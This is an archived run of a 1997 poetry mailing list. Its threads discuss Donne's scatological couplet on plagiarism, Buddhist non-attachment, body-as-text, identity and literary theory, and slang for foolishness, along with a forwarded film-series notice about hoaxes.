As his own things; and they are his own, 'tis true,
For if one eat my meat, though it be known
The meat was mine, th' excrement is his own.

I don't know what Donne's personal beef is here, since his own poetry was not published in his lifetime, but was circulated widely in manuscipt. Ideas about the meaning of authorship were up for grabs, as they always are more or less; but seems interting to me here is that "hate" and an ethos of blistering anger are the starting points for deploying a representation of the economics of writing, and that the angry poet relishes the blasphemy suggested by his consumption metaphor in which words are transformed by passing into and out of the body (see other poetics threads).

Gary R

↑ Index

919. **Thomas Bell**
Re: buddha love
Sun 29 Jun 1997

Odd though it may seem, psychologically speaking secure attachment is good enough
rather than not wanting to do without.
tom bell

At 02:44 PM 6/28/97 -0400, you wrote:
>Awright, pardon a tyro's question here: I've always been intrigued,
>from a more or less uninformed distanced, by the Buddhist valuing of
>"non-attachment," which has come up with some frequency in recent posts.
>My question, then, is how exactly is "love" supposed to work in this
>scheme of things. Is love for another person really possible without
>"attachment," in the sense of not wanting to do without? I'm
>probably approaching the question somewhat superficially, but cldn't
>resist the chance to query what appears to be a rather large number of
>people interested in buddhistic living... steve
>
>

↑ Index

920. **Thomas Bell**
Re: body-as-text discussion
Sun 29 Jun 1997

I was thinking more of the neurophysiology, buy I like your point

At 04:51 PM 6/28/97 -0400, you wrote:
>At 01:14 PM 6/28/97 -0400, tbell wrote:
>>transplantation appears to involve more than just the physical fragment.\
>
>translation might be a better approximation to transplantation
>the body as a whole might be the text-entire
>the body/text can change via translation
>the fluids of the body/the fluidity of a text, for example,
>   revising/cutting/embellishing/adding
>
>how far does the body/text analogy go?
>>>is the body inherently a whole?
>>>does fragmentation occur naturally/unaturally
>>> for instance the generally accepted practice
>>> of surgery or amputation?

>>>can't "body" be a fluid concept?
>>>out-----
>>>peter ganick
>>>[redacted]
>
>>>>"Cyberlife leads to disembodiment, the exact opposite of what the culture
>>>>needs," - Suzi Gablik
>>>>
>>>>"Ray [Paul] concludes 'cultural creatives' demand that all the pieces of
>>>>their lives fit together to create an authentic whole...one that merges the
>>>>best of modernism and traditionalism, embraces both East and West..."
>>>>
>>>>but "We need to mount a spirited defense of our right and power to seek
our
>>>>own realities." Jon Spayde
>>>>tom bell
>
>>>>>hi buffalo-l-er's---------
>>>>>i don't think alan sondheim would mind if i
>>>>>forwarded this post of his to the fop-list
>>>>>made an hour ago--------
>>>>>it bears relevance to the "body-as-text' discussion
>>>>>proposed by kdawn earlier----
>>>>>out--------
>>>>>peter ganick
>>>>>
>>>>>>Subject: Re: E-Minds Discussion
>>>>>>>Sender: FOP-L <[redacted]>
>>>>>>>From: Alan * Sondheim <[redacted]>
>>>>>>>Subject: Re: E-Minds Discussion
>>>>>>>To: Multiple recipients of list FOP-L <[redacted]>
>>>>>>>I'm curious - with your computing skills and equipment - what are
your
>>>>>>>ultimate goals - what do you want to do?
>>>>>>>
>>>>>>>I find myself constantly having to pare back, for example, ignoring
>C++ in
>>>>>>>order to concentrate on the languages I know to some extent, and
can
>use.
>>>>>>>With essays, I try to read things that are sent me within three days;
if

>>>>>>>not, I have to expunge them.
>>>>>>>
>>>>>>>I move from one operating system to another; I feel I have good
>knowledge
>>>>>>>of linux and Win95, poor still of Mac, but getting there. I'm getting
>>>>>>>close to 250 - 300 messages a day.
>>>>>>>
>>>>>>>I want to feel I'm within the internals of the machine, and
>understand the
>>>>>>>psychoanalytical and philosophical ramifications of technology. I
>want to
>>>>>>>do this without disregarding the body, or its splitting re: issues of
>em-
>>>>>>>bodiment and virtuality - and I don't want to go for simplistic an-
swers
>>>>>>>(which usually carry the day). I try to keep up with "the literature"
as
>>>>>>>best I can; much of it seems anecdotal (this is what a MUD does) or
>naive
>>>>>>>(cyber-relationships are/aren't "real").
>>>>>>>
>>>>>>>Since I'm not institutionalized, I can rarely go to the conferences
I've
>>>>>>>applied to, to present a paper; there's no money. Since I can't go to
>the
>>>>>>>conferences, the feedback on my work is minimal, so I have to con-
duct
>im-
>>>>>>>aginary conversations - _here_ I'm naive, _there_ I've maybe made a
>point.
>>>>>>>Although I do get into print (off or online) often, there's no real com-
>>>>>>>munity of discussion surrounded my work, so these dialogs get
>increasingly
>>>>>>>psychotic.
>>>>>>>
>>>>>>>Beyond this, I remember when I began thinking through these is-
sues in
>the
>>>>>>>70s (I did something called The Structure of Reality then, which I
still
>>>>>>>refer to), I figured I wanted to work on the mediation of mind and
world

>>>>>>>vis-a-vis formal and informal systems - and how this mediation
>constructed
>>>>>>>or was constructed by/for mind. And I've remained fastened on this
to
>the
>>>>>>>present.
>>>>>>>
>>>>>>>With your work on your computers, adding programs (I remember
you talked
>>>>>>>about all the Network monitoring addons for Win95 you down-
loaded), I
>won-
>>>>>>>der where your interest lies, what your goals are? And I'm sending
>this to
>>>>>>>the lists, since I'm curious about others' configurations as well.
>>>>>>>
>>>>>>>(For myself, I've stabilized linux and the Mac and Win95 configs, as
>well
>>>>>>>as my Win 3.+ stuff, so they're functional and somewhat
>interoperational;
>>>>>>>with the Mac, I've clumsily looked at Applescript, backed out a bit,
and
>>>>>>>do most of my experimentation on linux, either RedHat or Slackware
>varie-
>>>>>>>ties. And I still feel that one needs at least some of this in order to
>>>>>>>understand TCP/IP or other protocols, to understand the Net in gen-
eral,
>>>>>>>beyond the user interface. For the user interface is always a system,
as
>>>>>>>Richard MacKinnon might say, of governance, and there's protocol
and
>gov-
>>>>>>>ernance all the way down, and we had better look at it.)
>>>>>>>
>>>>>>>Alan, musing
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>URL:
http://jefferson.village.virginia.edu/~spoons/internet_txt.html
>>>>>>>MIRROR with other pages at:
http://www.anu.edu.au/english/internet_txt

>>>>>>>IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted]
>>>>>>>EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE
>>>>>>>
>>>>>
>>>>>
>>>>
>>>
>>>
>>
>
>

↑ Index

921. **Lisa Samuels**
Re: meat well donne
Sun 29 Jun 1997

matt k and gary r,

thanks much for the citation, and gary for your analysizing. hmm.

of donne and wedding poems -- i recommended 'the good morrow' as a wedding poem for a friend, and he said it went over gorgeously.

lisa s.

↑ Index

922. **David Israel**
Re: meat well donne
Sun 29 Jun 1997

Gary explores Donne's inventive invective --

<< . . . the angry poet relishes the blasphemy suggested by his consumption metaphor in which words are transformed by passing into and out of the body (see other poetics threads). >>

Yes -- also interesting if, rather than taking the concluding couplet in isolation, it's consider closely, in context:

> But he is worst, who (beggarly) doth chaw
> Others' wits' fruits, and in his ravenous maw
> Rankly digested, doth those things out spew,

As his own things; and they are his own, 'tis true,
For if one eat my meat, though it be known
The meat was mine, th' excrement is his own.

the phrasing in lines 2-3 (above) can suggest an idea that's alternative to one's (else) immediate assumption that the food passes in through the body, is digested in the gut, and is then excreted (in traditional fashion) from the anus --

here, he gets more baroque w/ the metaphor, suggesting that it's both chewed *and* rankly [stinkily] digested in the hateful fellow's ravenous maw [a term presumably more typically suited to a dog's mouth than a man's?], then spewed out again. So it's digested in the mouth [and therein turned rank, stinky, shit-like], and straightaway spewed out again from the mouth itself, as words [for words indeed come out of the mouth, though in this case, the words are esteemed tantamount to shit] --

thus, we have the basic idea that the rank fellow has taken my words and turned 'em into shit and then spewed 'em out from his shitful mouth --

yeah, says the poet, the words he stole had been mine mine alright (had been the fruits of my wit) -- but he's now passing them off as his own stinkin' shit. (& btw, isn't it the case that "meat" in Donne's day could signify any sort of food -- not nec. restricted to animal flesh? -- as in nut meats, etc.?)

There's also, seems, the (scandalous) implication of the purloiner "eating shit" (and "talking shit") -- upping the rhetorical ante. Not so delicate.

d.i.

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923. **Steve Shoemaker**
Re: buddha love
Sun 29 Jun 1997

David--Thanks for the Kabir quote--glad to hear the combination is at least a "mystery"! Any other refs to recommend on this point? steve

Steve Shoemaker

↑ Index

924. **David Israel**
Re: buddha love
Sun 29 Jun 1997

> *Thanks for the Kabir quote--glad to hear the combination is at least a "mystery"! Any other refs to recommend on this point? steve*

here's one source treating this subject matter with much skill:

Meher Baba, DISCOURSES (1967; 7th Edition, 1987, Sheriar Press, Myrtle Beach, SC); I'm pretty sure it's obtainable via the Searchlight Books website -- http://www.slbooks.com

(See, e.g., "Love," "The Nature of the Ego and its Termination," "The Dynamics of Spiritual Advancement," "Qualifications of the Aspirant," "Maya," "The Conditions of Happiness," and "God as Infinite Love.")

One might also look at -- an almost random (but worthwhile) citation -- Lex Hixon's recent biographical meditation on the life of Ramakrishna, *Great Swan* (published by Shambhala), for a sense of the feel of a life wherein the union of love & detatchment are demonstrated at the highest possible level.

For Buddhism -- & an interesting road of intellectual delight in its "depth psychology" dimensions (not to mention a snapping, crackling, creative reformulation of English-language discourse) -- I've always felt Chogyam Trungpa's writing to be good stuff. Shambhala has, in recent years, been issuing a slow, steady stream of new books drawn from his seminars. I'm not sure where specifically to point for the subject matter immediately in question (except to note that the principle tersely covered in Kabir's verse seems close to the root of everything Trungpa wrote or said; but one could say the same of Ramakrishna or Meher Baba, for that matter).

There are at least a few personal faves.

d.i.

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925. **Mark Weiss**
Re: meat well donne
Sun 29 Jun 1997

David--Check the OED. Maw=stomach, except in rare cases, until fairly recently.

At 01:13 PM 6/29/97 -0400, you wrote:
>Gary explores Donne's inventive invective --
>
><< . . . the angry poet relishes the blasphemy suggested by his
>consumption metaphor in which words are transformed by passing into
>and out of the body (see other poetics threads). >>
>
>Yes -- also interesting if, rather than taking the concluding couplet in
>isolation, it's consider closely, in context:

>
> But he is worst, who (beggarly) doth chaw
> Others' wits' fruits, and in his ravenous maw
> Rankly digested, doth those things out spew,
> As his own things; and they are his own, 'tis true,
> For if one eat my meat, though it be known
> The meat was mine, th' excrement is his own.
>
>the phrasing in lines 2-3 (above) can suggest an idea that's alternative to
>one's (else) immediate assumption that the food passes in through the
>body, is digested in the gut, and is then excreted (in traditional fashion)
>from the anus --
>
>here, he gets more baroque w/ the metaphor, suggesting that it's both
>chewed *and* rankly [stinkily] digested in the hateful fellow's ravenous
>maw [a term presumably more typically suited to a dog's mouth than a
>man's?], then spewed out again. So it's digested in the mouth [and therein
>turned rank, stinky, shit-like], and straightaway spewed out again from
>the mouth itself, as words [for words indeed come out of the mouth,
>though in this case, the words are esteemed tantamount to shit] --
>
>thus, we have the basic idea that the rank fellow has taken my words and
>turned 'em into shit and then spewed 'em out from his shitful mouth --
>
>yeah, says the poet, the words he stole had been mine mine alright (had
>been the fruits of my wit) -- but he's now passing them off as his own
>stinkin' shit. (& btw, isn't it the case that "meat" in Donne's day could
>signify any sort of food -- not nec. restricted to animal flesh? -- as in nut
>meats, etc.?)
>
>There's also, seems, the (scandalous) implication of the purloiner "eating
>shit" (and "talking shit") -- upping the rhetorical ante. Not so delicate.
>
>d.i.
>
>

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926. **David Israel**
Re: meat well donne
Sun 29 Jun 1997

> *Check the OED. Maw=stomach, except in rare cases, until fairly recently.*

oops, thanks for the bellies-up; (so much for my theory?)

d.i.

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927. **Mark Weiss**
Re: meat well donne
Sun 29 Jun 1997

Happens to the best of us. In this case, to tie two threads together, I remembered the proper meaning because of my orientalist interest in food.

At 02:30 PM 6/29/97 -0400, you wrote:
>> Check the OED. Maw=stomach, except in rare cases, until fairly
>> recently.
>
>oops, thanks for the bellies-up; (so much for my theory?)
>
>d.i.
>
>

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928. **David Israel**
Re: meat well donne / Pillow Book
Sun 29 Jun 1997

Speaking of tying threads together -- in this case Orientalism plus the Writing-and-the-Body thread -- just saw Peter Greenaway's postmod orientalist body-writing tour de force, THE PILLOW BOOK yesterday. am speechless. Most amazing were some of the formal accomplishments & innovations -- e.g., how well the filmological techniques (w/ inset screens & scenes, etc., appearing & disappearing, scrolling, . . .) felt in accord w/ (one's sense of) narrative technique & escrutive [was that the word? hey I'm not a Frenchist] aesthetics -- the narrative framings of the original Pillow Book, the visual framings of Japanese writing & printing & illustration etc. etc. . . . The central tale of abuse & revenge seems in some respects a mere scaffold on which to string up a wide array of conceptual ponderings & formal ponderousness, all of which is pulled off

so well -- notwithstanding the lavish horridness (which is beginning to feel like a Greenaway trademark). It's hard to think that this film would not prove of some interest to your average Poetics denizen . . . [I'll leave it to someone else to do a theory-laden sendup of how Joe Bob Briggs might review the movie . . .]

d.i.

>>> Mark Weiss <[redacted]> 06/29/97 02:37pm
>>>
Happens to the best of us. In this case, to tie two threads together, I remembered the proper meaning because of my orientalist interest in food.

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929. **David Israel**
Re: identity/poetics
Sun 29 Jun 1997

David Erben (Art) observes,

<< The post-structuralist attention to ecriture has certainly displaced the metaphysical and humanistic approach to reading. But it has not freed us from the obligation to rethink and reformulate questions of identity and power that are at the heart of cultural poesis and semiosis. >>

besides questions of ecriture, wonder if you might trouble to define semiosis? (is it the semiotic equivalent of narcosis?) --

I've been operating under the premise that poesis (as in mythopoesis) involves the "creation" of something (as in, a myth) -- is poesis being put here on a parallel plane w/ semiosis -- where (presumably) the one deals w/ words, the other w/ signs? -- is it your own invention [maybe, your own logopoesis?], -- or is it now a current term of art? just curious

d.i.

this reminds, I'm a bit behind on my logocentrism (a phrase appearing hereon lately) -- does that simply signify word-centered, I suppose? (and with what implications, one wonders?) -- sorry, I never got the theory syllabus, so must intertheorocate on the fly . . . (which happens to be located on the wall) . . .

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930. **Aldon L. Nielsen**
industial-strength hoaxes at 'cine16' this week (fwd)
Sun 29 Jun 1997

---

lo and behold, this appears in this of all weeks!

---------- Forwarded message ----------
Date: Sat, 28 Jun 1997 13:53:57 -0700
From: Geoff Alexander <[redacted]>
To: [redacted]
Subject: industial-strength hoaxes at 'cine16' this week

July 3: 'Hoaxes near and far --- the New World Order and the Tasaday'

Today's Independence Day program delves with the most American of institutions, the hoax. Our first film describes a hoax originating in 1963 that in many ways continues to this day; the second is of a film that in itself is a hoax, and part of a mystery that hasn't yet been completely solved.

'Case History of a Rumor' 1963, p. Gene DePoris w/Roger Mudd. Right-wing paranoia of the supposed takeover of the US by the United Nations is nothing new, as evidenced by this hard-hitting CBS News documentary about 'Operation Water Moccasin', US Army maneuvers scheduled to take place in the deep south in the early 60's. Fueled by a rumor that African troops were massing in the state of Georgia, thousands of individuals flooded political mailbags with letters and telegrams of concern. Mudd and DePoris, interested in discovering the origins of the rumor, traced it back over several states to its surprising source. Of particular interest was the role of radio evangelist C.W. Burpo, to whom I used to listen throughout the 60's and 70's ('you know, god loves you... and I love you too'), who, along with Brother Al, Reverend Ike, and Sister E.G. Jamerson, provided tremendous comic relief during the otherwise scary Vietnam years. In 'Case History', we can see Burpo during an actual broadcast, a bank of ten tape recorders in the background copying the show for radio stations nationwide.

'Cave People of the Philippines' 1972, d. Gerald Green, w/Jack Reynolds. In 1966, word appeared from the Philippines that a stone-age tribe had been discovered, interesting anthropologists worldwide, who applied en mass for permission to travel to Mindanao to conduct formal research on the group. The Tasaday had no notion of agriculture, wore few clothes, and subsisted mainly on stream animals and deer. A Filipino official, Manuel Elizalde, was the nominal discoverer of the group, and he closely guarded access to the Tasaday, allowing few news agencies and educational institutions to visit the group, always under the supervision of Elizalde and a hand-picked translator. 'Cave People' was made during this time of interest and discovery. Subsequently, rumors began surfacing that Elizalde had paid the tribespeople to remove their clothes for journalists, and the official was considered by many people to be nothing more than a master hoaxer. His death last month at the age of 60 prompted an obituary which sent us back to review the laudatory 'Cave People' film, and we at

‘cine16’ have come to our own conclusion about what Elizalde may have really been up to.

During the 1960s, international corporate interests began a policy of moving Mindanao indigenous groups off their ancestral lands in order to obtain logging, mineral, or agricultural rights. This was typically accomplished by a vanguard of Christian missionaries, followed in close order by hired thugs who would kill, burn villages, and otherwise subjugate the people, who would then flock to the new churches where, washed in the blood of Christ, they would find food, clothing, and an understanding that rewards were better in heaven than they were in this world, and that ancestral land rights were nothing compared with the love of the eternal father. Elizalde had a known compassion for indigenous peoples, fought the church, and actually succeeded in having large tracts of land designated native areas, with little or no commercial activity allowed. Could it be that this master hoaxer, in drawing the world’s attention to ‘stone-agers’, had crafted a master plan to use world opinion to salvage the native cultures of Mindanao? We invite you to see the film and form your own opinion. You might enjoy visiting the following sites for interesting background info:

Read Elizalde’s fascinating obituary:
Manuel Elizalde:
http://152.52.2.50/newsroom/ntn/health/050597/health5_11494.html

Consider some of the controversy surrounding the hoax:
http://www.nomadmedia.com/CULTURE/TASADAY_HOME/tasaday.home.html

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931. **Mark Weiss**
Re: identity/poetics
Sun 29 Jun 1997

I waxed ironic at David Erben's expense because of a long-standing gripe aginst not theory but its expression. As a writer I operate under a rule analogous to Occam's Razor: the least complex or jargon-laden formulation that accurately conveys the material at hand to the interested audience is the best way to do so. I define the audience in this case as those interested in literature or literary theory. It goes almost without saying that there are plenty of ideas that are for various reasons not expressible in language familiar to the audience, however defined. In such cases if the audience is truly interested it will have to make the stretch and learn the new lingo. But this is not particle physice, and none of the ideas in Erben's post are that complex. Plainer speech would be appropriate. Unless, of course, what is being conveyed is that knowledge of the lingo is necessary for inclusion in the club and that the writer is a member in good standing. Sort of a magic handshake.

At 03:35 PM 6/29/97 -0400, you wrote:
>David Erben (Art) observes,
>
><< The post-structuralist attention to ecriture has certainly displaced the
>metaphysical and humanistic approach to reading. But it has not freed us
>from the obligation to rethink and reformulate questions of identity and
>power that are at the heart of cultural poesis and semiosis. >>
>
>besides questions of ecriture, wonder if you might trouble to define
>semiosis? (is it the semiotic equivalent of narcosis?) --
>
>I've been operating under the premise that poesis (as in mythopoesis)
>involves the "creation" of something (as in, a myth) -- is poesis being put
>here on a parallel plane w/ semiosis -- where (presumably) the one deals
>w/ words, the other w/ signs? -- is it your own invention [maybe, your
>own logopoesis?], -- or is it now a current term of art? just curious
>
>d.i.
>
>this reminds, I'm a bit behind on my logocentrism (a phrase appearing
>hereon lately) -- does that simply signify word-centered, I suppose? (and
>with what implications, one wonders?) -- sorry, I never got the theory
>syllabus, so must inter-theorocate on the fly . . . (which happens to be
>located on the wall) . . .
>
>

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932. **Mark Weiss**
continuation of previous post
Sun 29 Jun 1997

---

semiosis--a place in the desert with half a well.
--a stress-disorder common among drivers of large trucks.
--franglais for the small rodents beloved of cats
--the Greeks had seven of them
--a half a bone is better than none
--with emphasis on the last syllable, a philosophical concept, as in, "semios_is_, therefore I aint."

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933. **Mark Weiss**
American Language
Sun 29 Jun 1997

The luncheonette at the Balboa Park pro shop in Balboa Park here in what the locals unblushingly call "America's Finest City" is a good place for brunch with a view and an earful of choice dialect. Here's a new one on me.

To add to "badly wrapped," "a few screws loose," "hit in the head once too often," etc., "a couple of sandwiches short of a picnic," as a description of Mike Tyson's mental state, altho it occurs to me as I type that this might also be meant as a motive for his recent behavior.

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934. **David Israel**
Re: continuation of previous post
Sun 29 Jun 1997

Mark Weiss now waxes definitional:

> semiosis--a place in the desert with half a well. . . .
  [et seq.]

or:
  ~a semiphore w/ halitosis?
  ~a theorist who's semi-comatose?
  ~a obsessive interest in semi-automatic weapons?
  ~a pathological tendancy to do everything precisely halfway?

(my questions were of course, if naieve, yet straightforward. I'd simply never encountered the collocation "poesis & semiosis" & wondered); and for that matter, I'm way behind in my ecriture, too . . . & must admit, it's a keen-soundin' word --

d.i.

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935. **David Bromige**
poet/identity/re :David Erben's post
Sun 29 Jun 1997

An informative posting, for which, my thanks...It does give rise to two questions (so far) in my reading of it, David : when you write "the poststructuralist attention to ecriture has certainly displaced the metaphysical and humanistic approach to reading," for whom has it displaced these approaches? For yourself? For the Academy? For Greimas & DeMan? For those who pay "poststructrualist

attention to ecriture"? These are not disingenuous questions, although I realize they may have that ring. But the passive construction of your sentence makes this displacement sound like a done deal--exceptions to the rule being "throw-backs", then--& yet a number of voices on this List have found agreement in the idea of an imagined (from whatever indications) poet on the other side of the poem from the reader. Which makes it look like the approach you speak of is not a done deal, not on this List.

A cognate question : Are you--or not to personalize this; do these persons towards whose thinking you gesture--findn it possible to read in multipile ways, using multiple methods? Would such an approach be intellectual dishonorable or indefensible? Wouldnt it be possible to read as text of interacting linguistic bits, a poem whose meanings one had, and I use the figure deliberately, by heart? (As it would be possible to 'step back" & see a loved one as a unit in one of many systems, and the loved body as consisting in all its dissectible elements?) Curiously, David

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936. **David Bromige**
Donne couplet
Sun 29 Jun 1997

---

consider, then, apportioning this feast :
the which, though human, each devours like beast:
The food before you comes from Master Donne :
The portion all your own comes out as dung.

(not a bit Donnelike; sounds like a century later)

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937. **Mark Weiss**
Re: american language
Sun 29 Jun 1997

Collected at a rest stop in Western Nebraska: watering his weasel=pissing
colected in Rocky Ntn Nat Park: Summer House=bathroom (explanation: "summer girls 'n summer boys")

At 03:51 PM 6/29/97 -0700, you wrote:
>Mark, yes, I too like the "two sandwiches short of a picnic." Theres also
>"One brick shy of a chimney," and "His elevator doesnt go all the way to
>the penthouse," In another context, I've always liked "He was tripping his
>doors off." Be good to see additions to this little list. David

>
>

↑ Index

938. **David Bromige**
american language
Sun 29 Jun 1997

Mark, yes, I too like the "two sandwiches short of a picnic." Theres also "One brick shy of a chimney," and "His elevator doesnt go all the way to the penthouse," In another context, I've always liked "He was tripping his doors off." Be good to see additions to this little list. David

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939. **Alan * Sondheim**
Ekstasy
Sun 29 Jun 1997

-

Ekstasy

Travis looked around her. "This is the being that banged drums," she said, "much." She said, "Nothing's ever," quietly, "changed." Truly amazing! "They were banged at nearly equal," she added, "intervals." "They have a natural habit of," he murmured, "doubling."

She was surprised. "Doubling, up and down the recursive" she asked, "tree?" Suzie smiled back. "Yes, as if there were a," he said, "root." "It gives them," she said, "ideas." "Ideas is all they," he added, "have."

Unbelievable! "They still think songs start," she asked again, "some- where?" "They have that," Suzie replied, "yes." "A species gets a drum, and there is literally no accounting for," he added, "it." "I," Travis replied, "see." She looked as lovely looking as Suzie, both standing near the streaming waters gurgling across moss, stone, sandy loam, snow in the air there.

"Travis, they can," he said, "speak." "Let it," she whispered, "be." "Just," with the rhythm picking up, mewling in the distance, "now." "The skein begins with the ending of the legend of the leaf and the twig and the branch and the trunk and the root and the," she continued, "tree." "The," Suzie said, "skein." Travis, "Yes."

"Thus it was that the surface garnered the depths, and the depths," Honey intervened, "responded."

Ah, all three of them, so beautiful by mountain brook, drums and waters merging, stormy wonder sky and lovely weather!

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940. **Lisa Samuels**
Re: american language
Sun 29 Jun 1997

According to David Bromige:
>
> Mark, yes, I too like the "two sandwiches short of a picnic." Theres also
> "One brick shy of a chimney," and "His elevator doesnt go all the way to
> the penthouse," In another context, I've always liked "He was tripping his
> doors off." Be good to see additions to this little list. David
>

one brick shy of a full load
lights on, nobody home
a boy of unreliable enthusiasms
one card short of a full deck
brighter than the average bear
one foot shy of the dock
one straw short of a camel's back
one art short of a long life

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941. **Kali Tal**
Re: identity/poetics
Sun 29 Jun 1997

> *Bromige said*
> *Perhaps your equating of a way of reading with a specifically male interest in pornography*
>
> *Tal said*
> *No. You don't seem to read very well. Please note the line in the paragraph you quoted:*
>
> *And it doesn't*
> *matter who the woman (or the guy) in the photo is--their bio is completely and wholly irrelevant because the reader is in it for *himself* (or herself, as the case may be).*

> *From this exchange it appears to me that Bromige reads very well indeed, and that perhaps his correspondent here requires further training in reading. Bromige is subtle, but that subtlety is probably partly gift and partly experience.*

Uh, George, are you being funny? Bromige suggests I equate a way of reading with a *specifically male* interest in porn; I respond by quoting the segment of my argument that clearly points out that either men or women can engage in this kind of reading--that it is the *kind* of reading that matters, and *not* the "maleness" of it. And you answer by simply quoting the whole exchange and reaffirming Bromige's assertion with reference to his *subtlety*? You *must* be joking.

I feel like I'm trapped in a Borges essay--a nice thing to read, but I wouldn't want to live there.

Kali

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942. **George Bowering**

Re: identity/poetics

Sun 29 Jun 1997

> *But any discussion of identity & poetry begs the question: when we talk about identity do we mean merely personality and the personal experiences that stand behind or under the shaping of the text? Or do we mean the formation of cultural and political constructs at large - distinct codes imposed on us or written by ourselves - by which we read each other in the world and the ways in which these read themselves into the text's creation?*

I dont see any begging the question here. I think that begging the question is an unfair bit if argument in which one posits an unagreed-upon agreement and then extrapolates from there? Isnt that what it is?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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943. **George Bowering**
Re: Identity of the poet Bromige
Sun 29 Jun 1997

I have just flown in a 1954 Beaver from Nanaimo to Vancouver. While on Protection Island off Nanaimo, I had an all-night argument (over South African wine) with Mike Matthews about details of Bromige's life.

Matthews contends that Bromige was for a decade a cowboy on the prairies. I said he was not, he was a nurse on the prairies. Matthews said I could not have any more wine. I said okay a cowboy. But not for a decade. We did agree on one thing, that Bromige had been heterosexual when he was first in Vancouver. But then our memories clashed. I said that Bromige usually wore white buck shoes on campus at UBC. Mike said that was not Bromige--it was me. I am still an outed jury on that one.

Our main argument was about all the pen names that Bromige used in the period 1957-1997. We agreed on Robert Zend. But then we parted ways. I will not, not not, ever, believe that Bromige was once Tracy Thompson. I mean I think I met Tracy Thompson in a hotel lobby in North Beach in 1962. I cannot believe that that person was not Tracy Thompson, nor that he was Bromige--that's for sure.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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944. **George Bowering**
Re: identity/poetics
Sun 29 Jun 1997

Bromige said
>Perhaps your equating of a way of reading with a specifically male interest
>>in pornography

Tal said
>No. You don't seem to read very well. Please note the line in the
>paragraph you quoted:
>
>>And it doesn't

>>matter who the woman (or the guy) in the photo is--their bio is completely
>>and wholly irrelevant because the reader is in it for *himself* (or herself,
>>as the case may be).

From this exchange it appears to me that Bromige reads very well indeed, and that perhaps his correspondent here requires further training in reading. Bromige is subtle, but that subtlety is probably partly gift and partly experience.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

945. **Mark Weiss**
Re: identity/poetics
Sun 29 Jun 1997

Hey, not that it's a big deal, but none of you guys can read--it was me, not Bromige, who said "Perhaps," etc., and any brickbats ought to be aimed this way.

At 05:15 PM 6/29/97 MDT, you wrote:
>>Bromige said
>>>Perhaps your equating of a way of reading with a specifically male interest
>>>>in pornography
>>
>>Tal said
>>>No. You don't seem to read very well. Please note the line in the
>>>paragraph you quoted:
>>>
>>>>And it doesn't
>>>>matter who the woman (or the guy) in the photo is--their bio is completely
>>>>and wholly irrelevant because the reader is in it for *himself* (or herself,
>>>>as the case may be).
>>
>>>From this exchange it appears to me that Bromige reads very well indeed,
>>and that perhaps his correspondent here requires further training in
>>reading. Bromige is subtle, but that subtlety is probably partly gift and

>>partly experience.
>
>Uh, George, are you being funny? Bromige suggests I equate a way of read-
ing
>with a *specifically male* interest in porn; I respond by quoting the
>segment of my argument that clearly points out that either men or women can
>engage in this kind of reading--that it is the *kind* of reading that
>matters, and *not* the "maleness" of it. And you answer by simply quoting
>the whole exchange and reaffirming Bromige's assertion with reference to his
>*subtlety*? You *must* be joking.
>
>I feel like I'm trapped in a Borges essay--a nice thing to read, but I
>wouldn't want to live there.
>
>Kali
>
>

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946. **George Bowering**

Re: identity/poetics

Sun 29 Jun 1997

I remember that when I was at university in the late fifties, it was always trendy to talk about finding one;s identity. This was, usually, on an individual basis, and often under a cloud of existentialism as understood by whitebread college students. I always said that if i wanted to check my identity I would just open my wallet. Look at birth certificate, etc. Identity, I figured, was what other people laid on you for their purposes, as in identifying the enemy or the criminal.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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947. **George Bowering**
Re: Poems/Identities
Sun 29 Jun 1997

I just came back from a trip to Eden, and now turn on e-mail, and encounter thousands of lines from Ms Tal. Why do you always want to be fighting, why always defending yourself against imagined attacks, Ms Tal?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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948. **Kali Tal**
Re: Poems/Identities
Sun 29 Jun 1997

> *I just came back from a trip to Eden, and now turn on e-mail, and encounter thousands of lines from Ms Tal. Why do you always want to be fighting, why always defending yourself against imagined attacks, Ms Tal?*

Quadruple sheesh.

Dr. Tal

"Life is too short to occupy oneself with the slaying of the slain more than once." -- Thomas Henry Huxley

↑ Index

949. **Eliza McGrand- CVA Guest**
Re: american language
Sun 29 Jun 1997

i've heard

she was a few fries short of a happy meal

but maybe that just betrays my common origins...!
e

↑ Index

950. **Mark Weiss**
Re: american language
Sun 29 Jun 1997

Those of us raised in the manor know how indecorous it is to refer to fries in public. Or any food for that matter--reference to bodily functions, don't you know.

We especially don't talk about lamb fries, a euphemism for testicles (yum yum good).

At 09:56 PM 6/29/97 -0400, you wrote:
>i've heard
>
>she was a few fries short of a happy meal
>
>but maybe that just betrays my common origins...!
>e
>
>

↑ Index

951. **Eliza McGrand- CVA Guest**
Re: american language
Sun 29 Jun 1997

---

i beg your pardon....

i was, perhaps, referring to "friesz," perhaps, the ancient baldic for light, in that the love-object, in anticipation of the deification, or perhaps annunciation, has stopped just before a supper, perhaps last, certainly radiant, in anticipation of the happier food to be found through divine, yes, light, urr, friesz, urr, the baldic you know...

yes, baldic friesz, that's the ticket

e

↑ Index

952. **Mark Weiss**
Re: american language
Sun 29 Jun 1997

Interesting coincidence--the lamb friesz were also bald!

At 10:22 PM 6/29/97 -0400, you wrote:
>i beg your pardon....
>
>i was, perhaps, referring to "friesz," perhaps, the ancient baldic for
>light, in that the love-object, in anticipation of the deification, or
>perhaps annunciation, has stopped just before a supper, perhaps last,
>certainly radiant, in anticipation of the happier food to be found
>through divine, yes, light, urr, friesz, urr, the baldic you know...
>
>yes, baldic friesz, that's the ticket
>
>
>e
>
>

↑ Index

953. **robert drake**
Re: american language
Sun 29 Jun 1997

> *Mark, yes, I too like the "two sandwiches short of a picnic." Theres also "One brick shy of a chimney," and "His elevator doesnt go all the way to the penthouse," In another context, I've always liked "He was tripping his doors off." Be good to see additions to this little list. David*

one tine short of a fork
2 squares short of a checkerboard
